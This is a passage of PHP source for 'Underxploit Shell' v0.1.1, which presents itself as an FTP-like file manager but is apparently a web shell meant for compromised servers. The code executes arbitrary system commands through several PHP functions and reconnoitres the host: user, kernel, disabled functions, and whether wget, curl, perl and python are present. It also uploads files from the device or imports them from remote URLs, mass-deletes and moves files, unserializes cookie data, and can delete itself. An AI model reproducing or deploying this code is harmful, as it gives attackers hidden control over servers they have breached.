  529. }
  530. echo('<div class="coL-panel"><table>
  531. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">RENAME DIRECTORY</td></table></div>');
  532. echo("<div class='coL-option top'>
  533. <br><br><br>
  534.     <center>
  535.         <i class='fa fa-folder-o fa-3x'></i></center><br><br>");
  536. echo("<form action='?".x7."renadir&".x5.$dir."' style='margin:0px' method='post'>
  537. <table cellspacing='0'>
  538.     <td align='center' style='width:10%'><i class='fa fa-folder-o'></i> </td><td style='width:70%'><input type='text' value='".basename($dir)."' name='e'></td><td style='width:20%'>
  539.     <button type='submit' class='btn-exe'><i class='fa fa-arrow-circle-right'></i></button></td></table>
  540.     </form></div></div>");
  541. }
  542. elseif($_COEG['command'] == 'deledir') {
  543. $x0z1 = deledir($dir);
  544.  if($x0z1) {
  545.         echo("<script>window.location = '?".x5.dirname($dir)."';</script>");
  546.     } else {
  547.         echo("<script>window.location = '?".x5.dirname($dir)."';</script>");
  548.         error('Permission Denied !!');
  549.     }
  550. }
  551. elseif($_COEG['command'] == 'about') {
  552.   echo '<div class="coL-panel"><table>
  553. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">DESCRIPTION</td></table></div>';
  554. echo '<div class="coL-option" style="padding:7px"><br>
  555.     <center><img class="animasi infinite anim1" src="'.x4.'logo.jpg" style="width:150px;height:150px;border-radius:100%;border:1px solid #ddd;padding:2px"></center><br><hr>
  556. &nbsp; &nbsp; Underxploit Shell adalah sebuah script file manager layaknya FTP yang dapat memudahkan anda mengatur isi dari website yang anda kelola, dan pastinya saya rancang sangat responsive dan mudah di akses via apa saja.
  557. <br><br>
  558. &nbsp; &nbsp; Underxploit Shell bisa menjadi solusi ketika anda kesulitan untuk masuk kedalam FTP.
  559. <br><br>
  560. &nbsp; &nbsp; Shell ini adalah recoded dari shell sebelumnya yaitu Mobile Shell V.05, untuk versi 0.1.1 tidak ada tools hacking, namun hanya mengoptimalkan fitur file managernya saja seperti edit, delete, copy dll.
  561. <br><br>
  562. &nbsp; &nbsp; Berbeda dengan Mobile Shell V.05, pada shell ini ada beberapa perubahan tampilan pada background, font, panel icon, cover, navigasi, alert, dan form login.
  563. </div>
  564.  
  565. <div class="coL-panel top"><table>
  566. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CREDITS</td></table></div>
  567. <table class="table-info">
  568. <tr class="ex-hov">
  569. <td style="width:85px" class="td-info"><span class="label label-default">+</span> Name</td> <td class="td-info">: Underxploit Shell</td>
  570. <tr class="ex-hov">
  571. <td style="width:85px" class="td-info"><span class="label label-default">+</span> Version</td> <td class="td-info">: 0.1.1 (Beta)</td>
  572. <tr class="ex-hov">
  573. <td style="width:85px" class="td-info"><span class="label label-default">+</span> Author</td> <td class="td-info">: Wildan Izzudin</td>
  574. <tr class="ex-hov">
  575. <td style="width:85px" class="td-info"><span class="label label-default">+</span> Email</td> <td class="td-info break">: <a class="a" href="mailto:underxploit@gmail.com">underxploit@gmail.com</a></td>
  576. <tr class="ex-hov">
  577. <td style="width:85px" class="td-info"><span class="label label-default">+</span> Facebook</td> <td class="td-info break">:  <a class="a" href="http://www.facebook.com/WILDAN.OFFICIAL">http://fb.me/WILDAN.OFFICIAL</a></td>
  578. <tr class="ex-hov">
  579. <td style="width:85px" class="td-info"><span class="label label-default">+</span> Blog</td> <td class="td-info">: <a class="a" href="http://underxploit.blogspot.co.id">http://underxploit.blogspot.co.id</a></td></table>
  580. <div class="coL-option">
  581. <center><br>If there is any suggestion or feedback please contact me through the contact above.<br><br><center><br>&mdash; Thank You &mdash;</center></div></div>';
  582. }
  583.  
  584. elseif($_COEG['command'] == 'upload') {
  585. echo('<style> .tup { font-size: 14px; } </style>');
  586. echo '<div class="coL-panel"><table>
  587. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">MULTIPLE UPLOAD</td></table></div>';
  588. if(isset($_REQUEST['ufile'])) {
  589. $ufile = $_COEG['ufile'] ;
  590. }
  591. if(isset($_REQUEST['upload'])) {
  592. if($_COEG['upload']){
  593. if(empty($ufile)) {
  594.     $cx = $_FILES['file']['name'];
  595. } else {
  596.     $cx = $ufile;
  597. }
  598. if(@copy($_FILES['file']['tmp_name'],$dir.'/'.$cx)) {
  599. success('File Uploaded !!');
  600. } else {
  601. error('Upload Failed !!');
  602.           } } }
  603. echo '<div class="coL-option"><span class="label-default">+</span> Upload From Device :<hr>';
  604. echo '<form enctype="multipart/form-data" action="?'.x7.'upload&'.x5.$dir.'"   method="POST" style="margin:0px">
  605. <table style="width:100%">
  606. <td class="tup" style="width:20%">File :</td>
  607. <td style="width:80%">
  608. <input type="file" name="file"></td>
  609. <tr>
  610. <td class="tup" style="width:20%">Name :</td>
  611. <td style="width:80%"><input name="ufile" type="text" placeholder="( Optional )" value="" /></td>
  612. <tr>
  613. <td style="width:20%"></td>
  614. <td style="width:80%"><input type="submit" name="upload" style="width:100px" value="Upload" class="btn-exe" />
  615. </td></table></form></div>';
  616. if($_COEG["submit"]){
  617. $url = trim($_COEG["url"]);
  618. $uname = $_COEG["uname"];
  619. if(empty($uname)) {
  620.       $uname = basename($url);
  621. } else {
  622.       $uname = $_COEG["uname"];
  623. }
  624. if(op($uname, $url)) {
  625.     success('File Uploaded !!');
  626. } else {
  627.     error('Failed !!');
  628.     }
  629. }
  630. echo('<script language="Javascript">
  631.         function cog(){
  632. if(document.forms[\'import\'].url.value === "") {');
  633.     s('Enter URL !!');
  634.     echo('return false;
  635.     }
  636. }
  637. </script>');
  638. echo '<div class="coL-option top"><span class="label-default">+</span> Upload From Internet (Import) :<hr>';
  639. echo '<form name="import" action="?'.x7.'upload&'.x5.$dir.'"  method="POST">';
  640. echo '<table style="width:100%">
  641. <td class="tup" style="width:20%">Link :</td>
  642. <td style="width:80%"><input type="text" name="url" placeholder="https://pastebin.com/raw/M4bJJtBD" style="width:100%"></td>
  643. <tr>
  644. <td class="tup" style="width:20%">Name :</td>
  645. <td style="width:80%"><input type="text" name="uname" style="width:100%" placeholder="( Optional )"></td>
  646. <tr>
  647. <td style="width:20%"></td><td style="width:80%"><input type="submit" name="submit" style="width:100px" value="Upload" onclick="return cog();" class="btn-exe"></td></table></form>
  648. </div></div>';
  649. }
  650. elseif ($_COEG['command'] == 'system') {
  651. function exe($ms_x) {  
  652. if(function_exists('system')) {        
  653.         @ob_start();       
  654.         @system($ms_x);        
  655.         $ms_z = @ob_get_contents();        
  656.         @ob_end_clean();       
  657.         return $ms_z;  
  658.     } elseif(function_exists('exec')) {        
  659.         @exec($ms_x,$values);      
  660.         $ms_z = "";        
  661.         foreach($values as $value) {           
  662.             $ms_z .= $result;      
  663.         } return $ms_z;    
  664.     } elseif(function_exists('passthru')) {        
  665.         @ob_start();       
  666.         @passthru($ms_x);      
  667.         $ms_z = @ob_get_contents();        
  668.         @ob_end_clean();       
  669.         return $ms_z;  
  670.     } elseif(function_exists('shell_exec')) {      
  671.         $ms_z = @shell_exec($ms_x);        
  672.         return $ms_z;  
  673.     }
  674. }
  675. function disk($dz) {
  676. if($dz >= 1073741824)
  677. return sprintf('%1.2f',$dz / 1073741824 ).' GB';
  678. elseif($dz >= 1048576)
  679. return sprintf('%1.2f',$dz / 1048576 ) .' MB';
  680. elseif($dz >= 1024)
  681. return sprintf('%1.2f',$dz / 1024 ) .' KB';
  682. else
  683. return $dz .' B';
  684. }
  685. function fuck($b_ms, $c_ms, $d_ms){
  686.     if(strpos($b_ms, $c_ms) === FALSE) return FALSE;
  687.     if(strpos($b_ms, $d_ms) === FALSE) return FALSE;
  688.     $a_ms = strpos($b_ms, $c_ms) + strlen($c_ms);
  689.     $e_ms = strpos($b_ms, $d_ms, $a_ms);
  690.     $f_ms = substr($b_ms, $a_ms, $e_ms - $a_ms);
  691.     return $f_ms; }
  692. if(get_magic_quotes_gpc()) {
  693. function m_ms($n_ms) {
  694. return is_array($n_ms) ? array_map('m_ms', $n_ms) : stripslashes($n_ms); }
  695. $_COEG = m_ms($_COEG); }
  696.  
  697. $safemode = (@ini_get(strtolower("safe_mode")) == 'on') ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</span>";
  698.  
  699. $disablefunc = @ini_get("disable_functions");
  700. $mysql = (function_exists('mysql_connect')) ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</span>";
  701.  
  702. $curl = (function_exists('curl_version')) ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</font>";
  703.  
  704. $wget = (exe('wget --help')) ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</span>";
  705.  
  706. $perl = (exe('perl --help')) ? "<span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</font>";
  707.  
  708. $python = (exe('python --help')) ? "
  709. <span class='label label-success'>ON</span>" : "<span class='label label-danger'>OFF</span>";
  710.  
  711. $ds_men = (!empty($disablefunc)) ? "<span class='label-danger'>".$disablefunc."</span>" : "<span class='label-success'>NONE</span>";
  712. if(!function_exists('posix_getegid')) {
  713.     $c_us = @get_current_user();
  714.     $c_id = @getmyuid();
  715.     $g_c = @getmygid();
  716.     $gr_p = "?";
  717. } else {
  718.     $c_id = @posix_getpwuid(posix_geteuid());
  719.     $g_c = @posix_getgrgid(posix_getegid());
  720.     $c_us = $c_id['name'];
  721.     $c_id = $c_id['uid'];
  722.     $gr_p = $g_c['name'];
  723.     $g_c = $g_c['gid'];
  724. }
  725. echo '<div class="coL-panel"><table>
  726. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">SYSTEM INFORMATION</td></table></div>';
  727. echo "<table width=100% class='table-info' cellspacing=0>
  728. <th class=th-info style=width:120px><center>Component</center></th>
  729. <th class=th-info><center>Arrow</center></th>
  730. <th class=th-info break><center>Result</center></th></tr>";
  731. echo "<tr class='ex-hov'><td class='td-info'><span class='label label-default'>+</span> Server </td><td class='td-info' align='center'>&raquo;</td>
  732. <td class='td-info'> ".$_SERVER['SERVER_SOFTWARE']."</td></tr>";
  733. echo "<tr class='ex-hov'><td class='td-info'><span class='label label-default'>+</span>
  734. Username</td><td class='td-info' align='center'>&raquo;</td>
  735. <td class='td-info'> ".$c_us." [".$c_id."]</td></tr>";
  736. echo "<tr class='ex-hov'><td class='td-info'><span class='label label-default'>+</span>
  737. Group</td><td class='td-info' align='center'>&raquo;</td>
  738. <td class='td-info'>".$gr_p." [".$g_c."]</td></tr>";
  739. echo "<tr class='ex-hov'><td class='td-info'><span class='label label-default'>+</span>
  740. Server IP </td><td class='td-info' align='center'>&raquo;</td>
  741. <td class='td-info'>".gethostbyname($_SERVER['HTTP_HOST'])."</td></tr>";
  742. echo "<tr class='ex-hov'><td class='td-info'><span class='label label-default'>+</span>
  743. Your IP </td><td class='td-info' align='center'>&raquo;</td>
  744. <td class='td-info'> ".$_SERVER['REMOTE_ADDR']."</td></tr>";
  745. echo "<tr class='ex-hov'><td class='td-info'><span class='label label-default'>+</span>
  746. PHP Version</td><td class='td-info' align='center'>&raquo;</td>
  747. <td class='td-info'> ".@phpversion()."</td></tr>";
  748. echo "<tr class='ex-hov'><td class='td-info'><span class='label label-default'>+</span> Disk Space</td> <td class='td-info' align='center'>&raquo;</td>
  749. <td class='td-info'>[".disk(disk_free_space("/"))."] / [".disk(disk_total_space("/"))."]</td></tr>";
  750. echo "<tr class='ex-hov'><td class='td-info'><span class='label label-default'>+</span> Safe Mode</td><td class='td-info' align='center'>&raquo;</td>
  751. <td class='td-info'> $safemode</td></tr>";
  752. echo "<tr class='ex-hov'><td class='td-info'><span class='label label-default'>+</span> MySQL</td><td class='td-info' align='center'>&raquo;</td><td class='td-info'>$mysql</td></tr>";
  753. echo "<tr class='ex-hov'><td class='td-info'><span class='label label-default'>+</span>
  754. Perl</td><td class='td-info' align='center'>&raquo;</td>
  755. <td class='td-info'> $perl </td></tr>";
  756. echo "<tr class='ex-hov'><td class='td-info'><span class='label label-default'>+</span> Python</td><td class='td-info' align='center'>&raquo;</td>
  757. <td class='td-info'>$python</td></tr>";
  758. echo "<tr class='ex-hov'><td class='td-info'><span class='label label-default'>+</span> WGET</td><td class='td-info' align='center'>&raquo;</td>
  759. <td class='td-info'>$wget</td></tr>";
  760. echo "<tr class='ex-hov'><td class='td-info'><span class='label label-default'>+</span> CURL</td><td class='td-info' align='center'>&raquo;</td><td class='td-info'>$curl</td></tr>";
  761.  if(get_magic_quotes_gpc() == "1" or get_magic_quotes_gpc() == "on") {
  762.   echo "<tr class='ex-hov'><td align='left' class='td-info'><span class='label label-default'>+</span> Magic Quotes  </td><td class='td-info' align='center'>&raquo;</td>
  763. <td><span class='label label-success'>ON</span></tr>"; } else { echo "<tr class='ex-hov'><td align='left' class='td-info'><span class='label label-default'>+</span> Magic Quotes  </td><td class='td-info' align='center'>&raquo;</td><td class='td-info'><span class='label label-danger'>OFF</span></td></tr>"; }
  764. echo "</table>";  
  765. echo '<div class="coL-panel top"><table>
  766. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">KERNEL</td></table></div>';
  767. echo "<div class ='coL-option' style='margin-bottom:3px;padding:7px'>".php_uname()."</div>";
  768. echo '<div class="coL-panel top"><table>
  769. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">DISABLE FUNCTION</td></table></div>';
  770. echo "<div class='coL-option wrap break' style='padding:7px'>".$ds_men."</div></div>";
  771. }
  772. elseif($_COEG['command'] == 'error') {
  773. echo '<div class="coL-panel"><table>
  774. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">FILE MANAGER</td></table></div>';
  775.     error('Permission Denied !!');
  776.     echo x9;
  777. } else {
  778. $hc = @getcwd();
  779. if(isset($_COEG['location']))
  780.     @chdir($_COEG['location']);
  781. $cwd = @getcwd();
  782. if($os == 'win') {
  783.     $hc = str_replace("\\", "/", $hc);
  784.     $cwd = str_replace("\\", "/", $cwd);
  785. }
  786. if($cwd[strlen($cwd)-1] != '/')
  787.     $cwd .= '/';
  788.  
  789. function hs($d) {
  790.     if(function_exists("scandir")) {
  791.         return scandir($d);
  792.     } else {
  793.         $dh  = opendir($d);
  794.         while (false !== ($filename = readdir($dh)))
  795.             $data[] = $filename;
  796.         return $data;
  797.     }
  798. }
  799.   if(!empty($_COOKIE['msv5']))
  800.         $_COOKIE['msv5'] = @unserialize($_COOKIE['msv5']);
  801.      
  802.     if(!empty($_COEG['hcx'])) {
  803.         switch($_COEG['hcx']) {
  804.             case 'mkdir':
  805.                 if(!@mkdir($_COEG['p2']))
  806.                     echo "Can't create new dir";
  807.                 break;
  808.             case 'delete':
  809.                 function deleteDir($path) {
  810.                     $path = (substr($path,-1)=='/') ? $path:$path.'/';
  811.                     $dh  = opendir($path);
  812.                     while ( ($▟ = readdir($dh) ) !== false) {
  813.                         $▟ = $path.$▟;
  814.                         if ( (basename($▟) == "..") || (basename($▟) == ".") )
  815.                             continue;
  816.                         $type = filetype($▟);
  817.                         if ($type == "dir")
  818.                             deleteDir($▟);
  819.                         else
  820.                             @unlink($▟);
  821.                     }
  822.                     closedir($dh);
  823.                     @rmdir($path);
  824.                 }
  825.                 if(is_array(@$_COEG['msv5']))
  826.                     foreach($_COEG['msv5'] as $f) {
  827.                         if($f == '..')
  828.                             continue;
  829.                         $f = urldecode($f);
  830.                         if(is_dir($f))
  831.                             deleteDir($f);
  832.                         else
  833.                             @unlink($f);
  834.                     }
  835.                 break;
  836.             case 'paste':
  837.                 if($_COOKIE['act'] == 'copy') {
  838.                     function copy_paste($c,$s,$d){
  839.                         if(is_dir($c.$s)){
  840.                             mkdir($d.$s);
  841.                             $h = @opendir($c.$s);
  842.                             while (($f = @readdir($h)) !== false)
  843.                                 if (($f != ".") and ($f != ".."))
  844.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  845.                         } elseif(is_file($c.$s))
  846.                             @copy($c.$s, $d.$s);
  847.                     }
  848.                     foreach($_COOKIE['msv5'] as $f)
  849.                         copy_paste($_COOKIE['location'],$f, $GLOBALS['cwd']);
  850.                 } elseif($_COOKIE['act'] == 'move') {
  851.                     function move_paste($c,$s,$d){
  852.                         if(is_dir($c.$s)){
  853.                             mkdir($d.$s);
  854.                             $h = @opendir($c.$s);
  855.                             while (($f = @readdir($h)) !== false)
  856.                                 if (($f != ".") and ($f != ".."))
  857.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  858.                         } elseif(@is_file($c.$s))
  859.                             @copy($c.$s, $d.$s);
  860.                     }
  861.                     foreach($_COOKIE['msv5'] as $f)
  862.                         @rename($_COOKIE['location'].$f, $GLOBALS['cwd'].$f);
  863.                 } elseif($_COOKIE['act'] == 'zip') {
  864.                     if(class_exists('ZipArchive')) {
  865.                         $zip = new ZipArchive();
  866.                         if ($zip->open($_COEG['p2'], 1)) {
  867.                             chdir($_COOKIE['location']);
  868.                             foreach($_COOKIE['msv5'] as $f) {
  869.                                 if($f == '..')
  870.                                     continue;
  871.                                 if(@is_file($_COOKIE['location'].$f))
  872.                                     $zip->addFile($_COOKIE['location'].$f, $f);
  873.                                 elseif(@is_dir($_COOKIE['location'].$f)) {
  874.                                     $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
  875.                                     foreach ($iterator as $key=>$value) {
  876.                                         $zip->addFile(realpath($key), $key);
  877.                                     }
  878.                                 }
  879.                             }
  880.                             chdir($GLOBALS['cwd']);
  881.                             $zip->close();
  882.                         }
  883.                     }
  884.                 } elseif($_COOKIE['act'] == 'unzip') {
  885.                     if(class_exists('ZipArchive')) {
  886.                         $zip = new ZipArchive();
  887.                         foreach($_COOKIE['msv5'] as $f) {
  888.                             if($zip->open($_COOKIE['location'].$f)) {
  889.                                 $zip->extractTo($GLOBALS['cwd']);
  890.                                 $zip->close();
  891.                             }
  892.                         }
  893.                     }
  894.                 } elseif($_COOKIE['act'] == 'tar') {
  895.                     chdir($_COOKIE['location']);
  896.                     $_COOKIE['msv5'] = array_map('escapeshellarg', $_COOKIE['msv5']);
  897.                     ex('tar cfzv ' . escapeshellarg($_COEG['p2']) . ' ' . implode(' ', $_COOKIE['msv5']));
  898.                     chdir($GLOBALS['cwd']);
  899.                 }
  900.                 unset($_COOKIE['msv5']);
  901.                 setcookie('msv5', '', time() - 3600);
  902.                 break;
  903.             default:
  904.                 if(!empty($_COEG['hcx'])) {
  905.                     vb('act', $_COEG['hcx']);
  906.                     vb('msv5', serialize(@$_COEG['msv5']));
  907.                     vb('location', @$_COEG['location']);
  908.                 }
  909.                 break;
  910.         }
  911.     }
  912. echo('<script>function m1s(){
  913. if(document.getElementById("act").value == ""){');
  914.    s('Select Action !!');
  915.     echo('  return false;
  916.    }
  917.    document.getElementById("sks").submit();
  918.  }
  919. </script>');
  920. echo('<form name="data" action="?dir='.$dir.'" method="POST" style="margin:0px">');
  921. echo('<div class="coL-panel"><table>
  922. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">FILE MANAGER</td></table></div>');
  923.        
  924.     $dirContent = hs(isset($_COEG['location'])?$_COEG['location']:$GLOBALS['cwd']);
  925.     if($dirContent === false) {
  926.         echo('<script>c("?'.x7.'error&'.x5.$dir.'");</script>');
  927. return;
  928. }
  929.     global $sort;
  930.     $sort = array('name', 1);
  931.     if(!empty($_COEG['hcx'])) {
  932.         if(preg_match('!s_([A-z]+)_(\d{1})!', $_COEG['hcx'], $match))
  933.             $sort = array($match[1], (int)$match[2]);
  934.     }
  935. echo('<script language="JavaScript">
  936. function toggle(source) {
  937.  checkboxes = document.getElementsByName("msv5[]");
  938.  for(var i=0, n=checkboxes.length;i<n;i++) {
  939.    checkboxes[i].checked = source.checked;
  940.  }
  941. }
  942. </script>');
  943. echo('<table class="table-file" cellspacing="0">
  944. <th class="th-file">Name</th>
  945. <th class="th-file" style="width:80px">Size</th>
  946. <th class="th-file" style="width:65px">Action</th>
  947. <th class="th-file"></th>
  948. <tr>');
  949. $dir = getcwd();
  950. $scn = scandir($dir);
  951.         foreach($scn as $dirx) {
  952.         $dtype = filetype("$dir/$dirx");
  953.  if(!is_dir("$dir/$dirx")) continue;
  954.             if($dirx === '..') {
  955.                 $href = '<a class="a" onclick=\'c("?'.x5.dirname($dir).'")\'>'.$dirx.'</a>';
  956.             }
  957. elseif($dirx === '.') {
  958.                 $href = '<a class="a" onclick=\'c("?'.x5.$dir.'")\'>'.$dirx.'</a>';
  959.             } else {
  960.                 $href = '<a class="a" onclick=\'c("?dir='.$dir.'/'.$dirx.'")\'>'.$dirx.'</a>';
  961.             }
  962.             if($dirx === '.' || $dirx === '..') {
  963.                 $d_zx = "<font color='#ddd'>--</font>";
  964.                 $ckh = '<input type="checkbox" disabled>';
  965.             } else {
  966.                 $d_zx = '<a class="a" onclick=\'c("?'.x7.'upload&'.x5.$dir.'/'.$dirx.'")\'>U</a> |
  967. <a class="a" onclick=\'c("?'.x7.'renadir&'.x5.$dir.'/'.$dirx.'")\'>R</a> | <a class="a" onclick=\'c("?'.x7.'deledir&'.x5.$dir.'/'.$dirx.'")\'>D</a>';
  968.                 $ckh = '<input type="checkbox" value="'.basename($dirx).'" name="msv5[]">';
  969.             }
  970.  echo "<tr class='ex-hov'>";
  971.             echo "<td class='td-file break'><i class='fa fa-folder-o'></i>&nbsp;[ $href
  972. ]</td>";
  973.     echo "<td align='center' class='td-file'><center>--</center></th>";
  974.     echo "<td align='center' class='td-file'>$d_zx</td>";
  975.     echo "<td align='center' class='td-file' style='width:10px'>".$ckh."</td>";
  976.         }
  977.         echo "</tr>";
  978. foreach($scn as $file) {
  979.             $ftype = filetype("$dir/$file");
  980.             $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  981.             $size = filesize("$dir/$file")/1024;
  982.             $size = round($size,3);
  983.             if($size > 1024) {
  984.                 $size = round($size/1024,2). 'MB';
  985.             } else {
  986.                 $size = $size. 'KB';
  987.             }
  988.             if(!is_file("$dir/$file")) continue;
  989.             echo "<tr class='ex-hov'>";
  990.             echo '<td class=\'td-file break\'><i class="fa fa-file-o"></i>&nbsp;<a class="a" onclick="c(\'?'.x7.'view&'.x5.$dir.'&'.x6.$dir.'/'.$file.'\')">'.$file.'</a></td>';
  991.             echo "<td align='center' class='td-file'>$size</td>";
  992.             echo "<td align='center' class='td-file'>";
  993.             echo '<a class="a" onclick=\'c("?'.x7.'edit&'.x5.$dir.'&'.x6.$dir.'/'.$file.'")\'>OPEN</a></td>';
  994.             echo("<td align='center' class='td-file' style='width:10px'><input type='checkbox' name='msv5[]' value='".$file."'> </td>");
  995. }
  996.     echo("</table><table style='width:100%;margin-top:2px' cellspacing='0'>
  997. <td style='width:10%;text-align:left;padding-left:7px'><input type=checkbox onClick=toggle(this)></td>
  998.    <input type=hidden name=ne value=''>
  999.    <input type=hidden name=location value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
  1000.    <input type=hidden name=charset value='". (isset($_COEG['charset'])?$_COEG['charset']:'')."'>
  1001.    <td style='width:70%'><select name='hcx' style='width:100%' id='act'>");
  1002.  if(!empty($_COOKIE['act']) && @count($_COOKIE['msv5']))
  1003.     echo("<option value='paste'>Paste</option>");
  1004.     echo("<option value=''>-- Select Action --</option><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>");
  1005. if(class_exists('ZipArchive'))
  1006.     echo("<option value='zip'>Compress (.zip)</option>");
  1007.     echo("</select></td>");
  1008.     if(!empty($_COOKIE['act']) && @count($_COOKIE['msv5']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
  1009.     echo("<input class='top' type=text name=p2 value='".rand(0,100)."-" . date("Y-m-d") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>");
  1010.     echo("<td style='width:20%;text-align:right'><button type='submit' onclick='m1s(); return false;' class='btn-exe'><i class='fa fa-arrow-circle-right'></i></button></td></form></table>");
  1011.    if(isset($_COEG['ndir'])) {
  1012.     $cdir = $_COEG['newinput'];
  1013.     if (is_dir($dir.'/'.$cdir)) {
  1014. error('Directory Already Exist !!');
  1015.     } else {
  1016.         if(mkdir($dir.'/'.$cdir, 0777)) {
  1017.     echo('<script>c("?'.x5.$dir.'");</script>');;
  1018.         } else {
  1019. error('Can\'t Create Directory !!');  } } }
  1020. if(isset($_COEG['nfil'])) {
  1021.     $cfile = $_COEG['newinput'];
  1022.     if (file_exists($dir.'/'.$cfile)) {
  1023.   error('File Already Exist !!');
  1024.     } else {
  1025.         if(fopen($dir.'/'.$cfile, "w+")) {
  1026.       echo('<script>c("?'.x7.'edit&'.x5.$dir.'&'.x6.$dir.'/'.$cfile.'");</script>');
  1027.         } else {
  1028. error('Can\'t Create File !!');
  1029.         }
  1030.     }
  1031. }
  1032. echo('<script language="Javascript">
  1033.         function cog(){
  1034. if(document.forms[\'new\'].newinput.value === "") {');
  1035.     s('Can\'t Be Empty !!');
  1036.     echo('return false;
  1037.     }
  1038. }
  1039. </script>');
  1040. echo('<script type="text/javascript">
  1041. function valid(field) {
  1042.        var re = /^[0-9-A-z.]*$/;
  1043.        if (!re.test(field.value)) {');
  1044.             s('Invalid Name !!');
  1045.             echo('field.value = field.value.replace(/[^0-9-A-z.]/g,"");
  1046.        }
  1047.    }
  1048. </script>');
  1049.     echo('<table style="margin-top:3px" cellspacing="0"><form name="new" action="?'.x5.$dir.'" method="post">
  1050.     <td>
  1051. <input type="text" name="newinput" onkeyup="valid(this);"></td>
  1052. <td><button type="submit" class="btn-exe" name="ndir" onclick="return cog();"><i class="fa fa-folder-o"></i></button></td>
  1053. <td><button type="submit" class="btn-exe" name="nfil" onclick="return cog();"><i class="fa fa-file-o"></i></button></td></form></table></div>');
  1054. }
  1055. echo('<div class="coR">
  1056.            <div class="coR-panel"><table>
  1057. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">TOOLS</td></table></div><div class="tools-content">');
  1058. $path = getcwd();
  1059. if(isset($_FILES['data'])) {
  1060. if(copy($_FILES['data']['tmp_name'],$path.'/'.$_FILES['data']['name'])) {
  1061.     success('File Uploaded !!');
  1062.     mtr('?'.x5.$dir);
  1063. } else {
  1064.     error('Upload Failed !!');
  1065.     }
  1066. }
  1067. echo '<script>function upload(){
  1068. if(document.getElementById("up").value == ""){';
  1069.       s('Select Your File !!');
  1070.    echo('return false;
  1071.    }
  1072.    document.getElementById("%").submit();
  1073.  }
  1074. </script>');
  1075. echo('<table><td align="center" valign="top" style="width:10%;padding-top:11px"><i class="fa fa-bookmark-o"></i></td><td style="width:70%"><form enctype="multipart/form-data" action="?'.x5.$dir.'" method="POST"><input type="file" name="data" id="up"></td><td style="width:20%" valign="top"><button type="submit" class="btn-exe" onclick="upload();return false;"><i class="fa fa-arrow-circle-right"></i></button></form></td></table>');
  1076. if(isset($_COEG['x'])) {
  1077. $rse = $_COEG['file_name'];
  1078. $zip = new ZipArchive ;
  1079. if($zip ->open($path.'/'.$rse) === TRUE) {
  1080. $zip ->extractTo($path);
  1081. $zip ->close();
  1082.     success('[ '.$rse.' ] Extracted !!');
  1083.     mtr('?'.x5.$dir);
  1084. } else {
  1085.     error('Permission Denied !!');
  1086.     }
  1087. }
  1088. echo('<script>function unzip(){
  1089. if(document.getElementById("u").value == ""){');
  1090.       s('Select File [.zip] !!');
  1091.    echo('return false;
  1092.    }
  1093.    document.getElementById("sks").submit();
  1094.  }
  1095. </script>');
  1096. echo '<table>
  1097. <form method="POST" action="?'.x5.$dir.'">
  1098. <td align="center" style="width:10%"><i class="fa fa-bookmark-o"></i></td>
  1099. <td style="width:70%"><select name="file_name" id="u">
  1100. <option value=""> -- Choose File --</option>';
  1101. $scandir = scandir($path);
  1102. foreach($scandir as $file){
  1103. if(!is_file("$path/$file")) continue;
  1104. if(preg_match('/\.zip$/mis',$file)) {
  1105. echo '<option>'.$file.'</option>';
  1106.     }
  1107. }
  1108. echo '</select></td><td style="width:20%;text-align:right"><button type="submit" name="x" class="btn-exe" onclick="unzip();return false;"><i class="fa fa-arrow-circle-right"></i></button></form></td></table>';
  1109.  
  1110. echo('</div>');
  1111. echo('<div class="coR-panel top"><table>
  1112. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">MENU</td></table></div>
  1113. <div class="tools-content">');
  1114. echo('<table class="ex-hov"><td class="td-tools-left"><i class="fa fa-angle-right"></i></td><td class="td-tools-content">System Information</td><td class="td-tools-icon"><a onclick=\'c("?'.x7.'system&'.x5.$dir.'")\'><button class="btn-exe"><i class="fa fa-arrow-circle-right"></i></button></a></td></table>');
  1115. echo('<table class="ex-hov"><td class="td-tools-left"><i class="fa fa-angle-right"></i></td><td class="td-tools-content">Multiple Upload</td><td class="td-tools-icon"><a onclick=\'c("?'.x7.'upload&'.x5.$dir.'")\'><button class="btn-exe"><i class="fa fa-arrow-circle-right"></i></button></a></td></table>');
  1116. echo('<table class="ex-hov"><td class="td-tools-left"><i class="fa fa-angle-right"></i></td><td class="td-tools-content">Change Password</td><td class="td-tools-icon"><a onclick=\'c("?'.x7.'change&'.x5.$dir.'")\'><button class="btn-exe"><i class="fa fa-arrow-circle-right"></i></button></a></td></table>');
  1117. echo('<table class="ex-hov"><td class="td-tools-left"><i class="fa fa-angle-right"></i></td><td class="td-tools-content">Me : [ <font color="lime">'.str_replace('/', '', basename($_SERVER['PHP_SELF'])).' </font> ]</td><td class="td-tools-icon"><a onclick=\'c("?'.x7.'kill&'.x5.$dir.'")\'><button class="btn-exe"><i class="fa fa-trash"></i></button></a></td></table></div>');
  1118. echo('<script>function create(){
  1119. if(document.getElementById("c").value == ""){');
  1120.    s('Select Action !!');
  1121.     echo('return false;
  1122.    }
  1123.    document.getElementById("sks").submit();
  1124.  }
  1125. </script>');
  1126. if($_COEG['op']=="1") {
